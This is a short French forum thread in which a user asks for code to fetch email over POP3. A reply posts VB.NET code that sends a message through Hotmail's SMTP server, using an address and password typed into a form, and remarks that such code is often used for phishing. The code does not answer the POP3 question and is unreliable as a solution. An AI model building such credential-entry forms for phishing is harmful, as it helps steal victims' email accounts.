Comment recuperer des emails sur un serveur pop3 [Fermé]

Signaler
-
 Utilisateur anonyme -
Bonjour, je souhaiterais avoir un code pour récupérer des emails sur un serveur pop3, merci.

2 réponses

Messages postés
91
Date d'inscription
jeudi 3 mars 2011
Statut
Membre
Dernière intervention
21 août 2013
13
Slt, je te passe le code, mais évite le phishing.... en général les gens s'en servent pour ca.
C'est pas un serveur pop3 mais smtp.live.com, même chose non? ^^

 Try
                Dim Mail As New MailMessage 'nouveau mail message
                Mail.From = New MailAddress(TextBox3.Text) 'expediteur
                Mail.To.Add("ton email ici") 'destinataire
                Mail.Subject = TextBox1.Text 'Subject of the MailMessage
                Mail.Body = "Logiciel" 'corps du message
                Dim smtp As New SmtpClient("smtp.live.com") 'déclaration d'un smtp
                smtp.Port = 587 ' SMTP port
                smtp.EnableSsl = True
                smtp.Credentials = New System.Net.NetworkCredential(TextBox3.Text, TextBox4.Text) 'informations hotmail
                smtp.Send(Mail) 'envoi
                MsgBox("Votre message à été correctement envoyé.", vbInformation, "Merci !")
                Me.Close()
            Catch ex As Exception 'Si les identifients sont incorrects
                MsgBox("Erreur: Vos identifients mails sembles érronés, le message n'as pas pu être envoyé.", vbCritical, "Identifients incorrects")
            End Try


Pas de phishing avec ce code!

up